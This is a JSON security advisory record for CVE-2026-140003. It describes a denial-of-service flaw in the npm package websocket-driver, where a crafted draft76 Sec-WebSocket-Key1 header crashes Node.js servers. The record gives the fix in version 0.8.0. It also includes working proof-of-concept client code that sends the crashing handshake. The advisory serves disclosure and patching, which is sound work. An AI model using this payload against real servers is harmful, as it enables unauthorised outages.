{"id":"CVE-2026-140003","aliases":["GHSA-c4gv-fww2-jp3r"],"url":"https://o3.security/vulnerability/CVE-2026-140003","summary":"websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header","details":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.\n\nIf the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash.\n\nTo mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n  let driver = ws.server()\n\n  driver.on('connect', () => {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () => conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () => {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    'Sec-WebSocket-Key1: 858 993 4592',\n    'Sec-WebSocket-Key2: 1 1',\n    '',\n    '12345678'\n  ].join('\\r\\n'))\n})\n```\n\nThis will cause the server to crash on Node.js v22 and below.\n\n### Impact\n\nAn unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.","published":"2026-11-30T21:26:36.930Z","modified":"2026-12-01T21:02:40.506046335Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"websocket-driver","fixedVersion":"0.8.0"}],"fix":{"url":"https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214","label":"faye/websocket-driver-node@851117d"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140003.json"},{"type":"ADVISORY","url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140003"},{"type":"FIX","url":"https://github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-node"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-01T21:02:40.506046335Z"}}